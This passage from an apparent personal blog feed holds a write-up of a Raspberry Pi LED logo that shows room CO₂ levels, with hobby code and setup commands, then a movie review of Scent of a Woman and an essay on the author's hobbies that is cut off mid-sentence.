brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I\u0026rsquo;m happy with it and want to let it be there doing it\u0026rsquo;s job.\n3) The Tidy Mess Behind the Panel Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:\nA 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers. A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot. I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.\nThe soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won\u0026rsquo;t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD\n4) A Web Panel that Stays Out of the Way The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.\nThere’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it\u0026rsquo;s not funny for anyone to fidn this out when looking at your creation. So\u0026hellip; yea, I took precautions not to see people getting seizures looking at my creation. :-)\n5) The Color Language for Air The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:\n\u0026lt; 500 ppm: Cyan — outdoor‑like fresh air. 500–799: Green — good. 800–1199: Yellow — getting stale. 1200–1499: Orange — poor; you’ll feel it. 1500–1999: Red — ventilate now. ≥ 2000: Purple — the logo is politely yelling. I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.\nBy default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it\u0026rsquo;s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it\u0026rsquo;s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.\n6) The Code — a guided tour (no giant blob, promise) This whole project runs from a single Python file. Think of it like a tiny orchestra:\none thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.\nBelow is what each section does, with just enough code to be useful (and not enough to make your eyes cross).\n6.1 Configuration (the knobs) Let\u0026rsquo;s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.\nLED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 SCHEDULE_PATH=\u0026#34;schedule.json\u0026#34; DB_PATH=\u0026#34;sensor.db\u0026#34; SAFE_MODE=True # hide flashy animations by default Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.\n6.2 Strip setup + frame-diff (no flicker magic) Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.\nframe = [(0,0,0)] * LED_COUNT _dirty = False def _set_pixel(i, r, g, b): # only touch hardware if the value actually changed if frame[i] != (r,g,b): strip.setPixelColorRGB(i, r, g, b) frame[i] = (r,g,b) global _dirty; _dirty = True def flush(): if _dirty: strip.show(); _dirty=False Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.\n6.3 A tiny color wheel helper Classic rainbow helper used by a few animations:\ndef wheel(pos): # 0..255 → (r,g,b) ... Why it’s like this: I\u0026rsquo;ll use it again and again; it keeps color math out of the animations.\n6.4 State \u0026amp; orchestration Let\u0026rsquo;s hold a registry of animations, a stop flag, and the currently playing thread.\nanimations = {} stop_event = threading.Event() current_thread = None def register(name, safe=True): def wrap(fn): animations[name] = {\u0026#34;fn\u0026#34;: fn, \u0026#34;safe\u0026#34;: safe} return fn return wrap def run_animation(fn): # cooperative hand-off: stop current, start next if current_thread and current_thread.is_alive(): stop_event.set(); current_thread.join() stop_event.clear() t = threading.Thread(target=fn, name=fn.__name__, daemon=True) t.start(); globals()[\u0026#34;current_thread\u0026#34;] = t Why it’s like this: adding a new animation is a one-liner @register(\u0026quot;name\u0026quot;). Clean exits prevent torn frames and half-drawn comets.\n6.5 Animations (the mood) Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().\nredpulse — calm breathing in red; great default. colorwave — slow rainbow that reads clearly behind diffusers. comet — a single head with a fading tail orbiting the logo. They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.\nWhy it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.\n6.6 CO₂ color language (with smoothing + hysteresis) The star of the show. Now map ppm to color bands and keep transitions human-pleasant.\n\u0026lt; 500: Cyan (fresh) 500–799: Green 800–1199: Yellow 1200–1499: Orange 1500–1999: Red ≥ 2000: Purple BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] EMA_ALPHA=0.15; HYST=35 # Every tick: ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 band = hysteresis_aware_band(ema, last_band, HYST) target = BANDS[band].color current = lerp(current, target, 0.10) # gentle hue easing level = breathe(0.25 Hz, low=10, high=220) draw all pixels = current * level Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.\n6.7 Optional SCD41 sensor thread (the polite listener) If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.\ndef _start_sensor(): try: scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() except: return # sensor optional def loop(): while True: time.sleep(5) if scd4x.data_ready: co2_data.update({...}) db.insert(timestamp, co2, temperature, humidity) threading.Thread(target=loop, daemon=True).start() Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.\n6.8 Scheduler + 90-minute override (humans win, then reset) A background thread asks, every few seconds, which mode should be running:\nIf the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI). Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse). Save/load the schedule atomically to schedule.json. def scheduler_pick(): if now \u0026lt; override_until: return override_mode for row in load_schedule(): if matches(now, row): return row[\u0026#34;mode\u0026#34;] return \u0026#34;redpulse\u0026#34; Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.\n6.9 The web panel (tiny Flask, big buttons) Three pages, no fuss:\n/status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity. /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation. /schedule — simple table editor; Add Row and Save; writes atomically. @app.post(\u0026#34;/set\u0026#34;) def set_mode(): mode = request.form[\u0026#34;mode\u0026#34;] minutes = clamp( int(form[\u0026#34;duration\u0026#34;]), 0, 180 ) set_override(mode, minutes) run_animation(animations[mode][\u0026#34;fn\u0026#34;]) return redirect(\u0026#34;/control\u0026#34;) Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.\n6.10 Boot choreography At startup I:\nTry the sensor thread (if hardware is there). Start the scheduler thread. Immediately play redpulse (so there’s a friendly glow right away). Start Flask; on shutdown I clear the strip. if __name__ == \u0026#34;__main__\u0026#34;: _start_sensor() threading.Thread(target=scheduler_loop, daemon=True).start() run_animation(redpulse) app.run(host=\u0026#34;0.0.0.0\u0026#34;, port=5000) Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.\nTL;DR (but keep the vibes) Frame-diff = no flashes. EMA + hysteresis = smooth, truthful color. Breathing = presence, not signage. Threads per thing (LEDs / sensor / scheduler) = no fights. Atomic files = no corrupted schedules. Safe Mode by default = people \u0026gt; pixels. That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.\nWhy this shape of code? One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights. Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don\u0026rsquo;t you agree?\n7) Sensor Database — what it stores, where it lives, and how far it goes This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.\nWhat’s stored A single table called readings:\nCREATE TABLE IF NOT EXISTS readings ( timestamp TEXT PRIMARY KEY, -- \u0026#34;YYYY-MM-DD HH:MM:SS\u0026#34; co2 INTEGER, -- ppm temperature REAL, -- °C humidity REAL -- % ); One row per sample (typically every 5–60 seconds; slow it down to reduce writes). timestamp is the primary key → easy “latest” queries and natural time ordering. Where the file lives Path is configurable via env var DB_PATH (see your systemd unit). Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db). Check size:\nls -lh /home/pi/inet-led/sensor.db How writes happen (and why it’s safe) The sensor thread owns I²C and inserts a row only when the sensor reports data_ready. Inserts are short and journaling protects against power loss. For friendlier read/write concurrency, enable WAL once at startup: PRAGMA journal_mode = WAL; PRAGMA synchronous = NORMAL; Typical size \u0026amp; retention Back-of-envelope:\n~100–200 bytes per row (including overhead). 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day → 55–110 MB/year. If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). Prune old data (keep last 90 days):\nDELETE FROM readings WHERE timestamp \u0026lt; date(\u0026#39;now\u0026#39;,\u0026#39;-90 day\u0026#39;); (Optionally run VACUUM; after large deletes to reclaim file space.)\nUseful queries Latest reading:\nSELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; Range for charts (last 7 days):\nSELECT * FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-7 day\u0026#39;) ORDER BY timestamp; Downsample to hourly averages (30 days):\nSELECT strftime(\u0026#39;%Y-%m-%d %H:00:00\u0026#39;, timestamp) AS hour, AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-30 day\u0026#39;) GROUP BY hour ORDER BY hour; Export to CSV (example via sqlite3 CLI):\nsqlite3 /home/pi/inet-led/sensor.db \u0026lt;\u0026lt;\u0026#39;SQL\u0026#39; .headers on .mode csv .output /home/pi/inet-led/export_readings.csv SELECT * FROM readings ORDER BY timestamp; .output stdout SQL SD card friendliness Choose a sensible interval (e.g., 30–60 s). Optionally buffer in memory and write every N samples. Prefer WAL mode; periodically prune \u0026amp; vacuum. If you care about card wear, place the DB on USB/SSD. Backups \u0026amp; restore Nightly backup (simple):\nsqlite3 /home/pi/inet-led/sensor.db \u0026#34;.backup \u0026#39;/home/pi/backup/sensor-$(date +%F).db\u0026#39;\u0026#34; Restore:\nsudo systemctl stop inet-led Copy backup file back to /home/pi/inet-led/sensor.db sudo systemctl start inet-led Security \u0026amp; permissions chown pi:pi /home/pi/inet-led/sensor.db chmod 600 /home/pi/inet-led/sensor.db Keep the app directory non-world-readable.\nIs SQLite the right choice? Yes, for a single Pi logging every few seconds and rendering local charts:\n✅ Zero admin, a single file, reliable journaling, great performance at this scale. ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). ⬆️ If you later need multi-device ingestion, alerts, or \u0026gt;10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. TL;DR SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.\n8) Run at Boot (systemd) I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:\n[Unit] Description=INET LED Panel After=network.target [Service] ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py WorkingDirectory=/home/pi/inet-led Restart=always User=pi Environment=LED_COUNT=78 Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json Environment=DB_PATH=/home/pi/inet-led/sensor.db [Install] WantedBy=multi-user.target Then you can run:\nsudo systemctl daemon-reload sudo systemctl enable --now inet-led journalctl -u inet-led -f to control the systemd service.\n9) Soldering Notes (a love letter to hot glue) Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads. Stagger joints so nothing stacks under the diffuser. Heat‑shrink + a dot of hot glue = happier future you. Continuity before power. Multimeter first, electrons last. If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works. Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable\u0026hellip; So\u0026hellip; yea.\n10) Why these design choices? Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction. Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers. White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout. Safe Mode default. People first. Demos are opt‑in. PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing. 11) What I learned A logo is a better messenger than a dashboard. Everyone knows what orange means without a legend. If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ 12) Final notes I did this project as a fun distraction and \u0026ldquo;not work\u0026rdquo; as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I\u0026rsquo;m so so thankful of my advisor for this cool idea, and all the support. It\u0026rsquo;s not the first time I\u0026rsquo;ve been gifted such toys, and as I have recieved other things after that, I know it\u0026rsquo;s not the last.\nThere is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let\u0026rsquo;s hope that doesn\u0026rsquo;t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*\nThe whole project took around 8 days, 4 of which were part of a long weekend. I did do some \u0026ldquo;not work\u0026rdquo; as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don\u0026rsquo;t know how the group feels/thinks about the logo, but I love it! I hope it won\u0026rsquo;t die after I leave, but even if so, so be it. I had my fun with it. :)\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSoc5w/\u0026#43;Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw 0oWl2ZZ6FHKdAo2\u0026#43;gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC\u0026#43;9J CgcvqbZdC\u0026#43;M2c3PcPPA4UV5reYclf9PisEsmJSiR\u0026#43;cyDaCtNJkYjQ9SSZMO\u0026#43;BV93 k6I20tEILeR/l72ahSGyGCQxFTkI\u0026#43;cE5EOglG\u0026#43;AJP7HnLArcBUplixjLS7j/gq13 U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe\u0026#43;kXXv1wH1yE sfJnMxiQ2YJqxUXDjJNJt1R\u0026#43;4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg sDsV6dgcPJUSvpuZqPmQicTu/\u0026#43;BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP QUuBm7o7sHpSUax7CEE\u0026#43;vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK\u0026#43;9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb Bs\u0026#43;BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh\u0026#43;hXljpEPyQ/Mq3s0X o9h8Z1rq9m7nIwmpLNW\u0026#43;vEiL81/SrnjJE8/\u0026#43;kA/\u0026#43;J2p9TNBYcn8= =tAeg -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc gpg --verify inet_logo.md.asc inet_logo.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t add a warning sign to the room. I taught the \u003cstrong\u003elogo\u003c/strong\u003e to breathe. ;-D\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is \u003cstrong\u003eventilating\u003c/strong\u003e itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\u003c/p\u003e","title":"INET Logo That Breathes — From CAD to LEDs to a Calm Little Server"},{"content":"I\u0026rsquo;m not a big movie watcher. In fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day. It\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.\nFew points before I begin.\nThis was aside from the therapy session. My therapist does not tell me what to do, or if I\u0026rsquo;m wrong or right or anything like that. I watched this movie in about two parts in a single day! I knew Al Pacino\u0026rsquo;s face from Godfather series, but didn\u0026rsquo;t know his name. I\u0026rsquo;m not a big movie person, so whatever I say should be taken with a grain of salt. Just don\u0026rsquo;t be offended, take it face up and as is. The movie is about a good young student named Chris O\u0026rsquo;Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.\nThe second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.\nChris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. He lives with his mother, and a not so nice step-father who isn\u0026rsquo;t really there for him.\nWhen taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. At last Chris agrees.\nUpon Karen\u0026rsquo;s leaving, Frank gets ready for a trip to New York. To do his last vows before taking his own life without Chris knowing this.\nHe plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.\nFrank is in love with Jack Daniel\u0026rsquo;s and cannot get enough of it. Throughout the movie this drunk, addiction-like behaviour is portrayed.\nFrank also learns about a problem Chris is facing. Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. He doesn\u0026rsquo;t want to snitch, but frank learns about this, he encourages him to take the deal.\nFrank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. The feelings I got were so strong and positive that I just cannot express!\nIn the end, when Frank wants to take his own life, Chris stops him and talks him out of it. He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! The officer didn\u0026rsquo;t even recognize Frank was blind!!!!\nAfter these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris\u0026rsquo;s parent.\nChris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father\u0026rsquo;s back was.\nIn essense, the movie was amazing, with great acting all over it. The characters portreayed their roles as amazingly as possible. I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.\nThe story was also amazing. Characters really added life to the scenes by their amazing play. Donna did the tango dance professionaly. Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.\nThat leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?\nWas it about Frank? That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? But Frank gave so much back to Chris. I guess it is the same for me too, I\u0026rsquo;m also getting a lot back while making some sacrifices.\nOr maybe was it about that amazing Tango dancing scene? The sensations that Frank describes about relationships, and how he interacts with woman?\nI honestly do not know. I just know that watching the movie gave me good feelings. That I\u0026rsquo;m a happier Iman than the Iman I was before watching it. That my feelings and experiences are not abnormal, they are valid. That I\u0026rsquo;m on the right track, but still need time to figure out the way. That I shouldn\u0026rsquo;t worry too much. That I should look at everything as a way to have \u0026ldquo;fun\u0026rdquo;. That I shouldn\u0026rsquo;t overthink things. That if I mess up, oh well, I should take the responsibility and move on.\nI don\u0026rsquo;t know what the intention of my therapist was, but I\u0026rsquo;m so curious! I want to figure it out. :) Fell free to cross your fingers for me!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q m6IiKs5GoxJFgNEyfNSjjBNj\u0026#43;NeqxgmYqlephJtf5ubTW\u0026#43;IuSMkinSyvVwkKrxAX QA\u0026#43;1Imf7/4QTyUB6/L\u0026#43;19jk\u0026#43;1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj OAProXMLAaCpasabz8\u0026#43;kQBQsul12h0cjG7A\u0026#43;TSaTgaM\u0026#43;WnE8RuC6C0KV//YeUfvN DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 wVNf/2vL14Ef4kfMWg8POj1WrgZc\u0026#43;pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS\u0026#43;BpKKG5wi7mFopvUFuZoPbHdmK2856P e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R 57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= =/VjG -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md.asc gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/","summary":"\u003cp\u003eI\u0026rsquo;m not a big movie watcher.\nIn fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day.\nIt\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person.\nIt feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched \u003ca href=\"https://www.imdb.com/title/tt0105323\"\u003eScent of a Woman\u003c/a\u003e on Sunday, and after my therapist encouraged me to do so.\u003c/p\u003e","title":"Movie review: Scent of a Woman"},{"content":"When I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies.\nFor some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\nLet\u0026rsquo;s go back in time. What hobbies have I had over the course of my life? Actually as a kid I used to play games on Mobile for some reason. I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. Like I liked Vain Glory, and my brother liked Fifa. We did play both in the end.\nAfter my brother went to the capital to attend univesity, we bacame more distant. I had to also focus on my own studies, and was actually struggling in junior-high. Now that is a story in itself for another time. I used to play games back then as hobby. But my real interest was chess. I was really good at calculating. I was extremely sharp for my age, but since I was obbese my parents wanted me to take \u0026ldquo;active\u0026rdquo; sport classes. So\u0026hellip; getting into a chess class was conditional.\nI have\u0026rsquo;t really done any chess studying after those early years, and I just know a few openings with little depth. I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.\nIn high-school I didn\u0026rsquo;t really have any hobbies. I did become interested in Basketball, but nothing serious. It\u0026rsquo;s funny how I was able to become good at any sport I tried. I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. I think swimming was, and still is my best sport. I never pursued it though, which is a shame.\nBefore starting my Bachelors, I became really interested in Cicada3301, and cryptography. Well, not the fancy state-of-the-art cryptography, the simple classic methods. The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! That reminds me, we had these special things in junior-high called \u0026ldquo;Karsoogh\u0026rdquo; for math, physics, chemistry, and biology. I think I quilified for pretty much every one of them, and had a blast every time! In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. But the math one was different, it happend between a few close-by NODET cities, and annualy. The idea was simple. They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. We then competed against each other. The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. The fastest team gets the most points. The the message is common between teams. After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. First teams to get an algorithm gets more points. Our team won the best algorithm in the end, and my ideas were most influential in this achievement! My teammates became really good friends with me after this competition which felt really cool! I think this was the reason I became interested in cryptography. I don\u0026rsquo;t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. If your team solved a game, you got more points. It was really fun, and since the games happened in parallel, all teammtes had to be active.\nI said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. I like to casually get lost in questions and think about weird equations, or natural problems. Something like Feynman\u0026rsquo;s obsession with the spaghetti problem! Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. But I do want to get back to this fun hobby. I just need some questions, and an empty mind. Or I guess some time slots to chill and not stress about my other research.\nDuring my bachelors, I became fascinated by hardware. Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. Later on I realized this is related to IoT and Embedded systems. I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! Unfortunately I don\u0026rsquo;t have any images from the project, but the code can be found here.\nI bought myself a raspberrypi, many sensors and actuators, and did small fun projects! I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. I could not figure out how to fix the state when commands don\u0026rsquo;t go through correctly though, a challenge that I never solved or came up with a solution for. I would say my love with computers, making things smart, and networking became my main hobby!\nAfter some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. It was, and still is a rat race. Well, it\u0026rsquo;s the story of my PhD pretty much now.\nReading books became a hobby for a while, but Youtube kinda distroyed that. I really love to get back to reading more books, I have a really exciting list of books to be read in my library. Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. I find doing chores so relaxing! Since we talked about music I should mention I also tried to learn Piano, but didn\u0026rsquo;t pursue it. I actaully wanted to learn Violine, but the consultant we talked to said \u0026ldquo;if you\u0026rsquo;re not a hard worker it won\u0026rsquo;t workout for you\u0026rdquo;, and since my brother was going to learn Piano, I followed suit. And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up 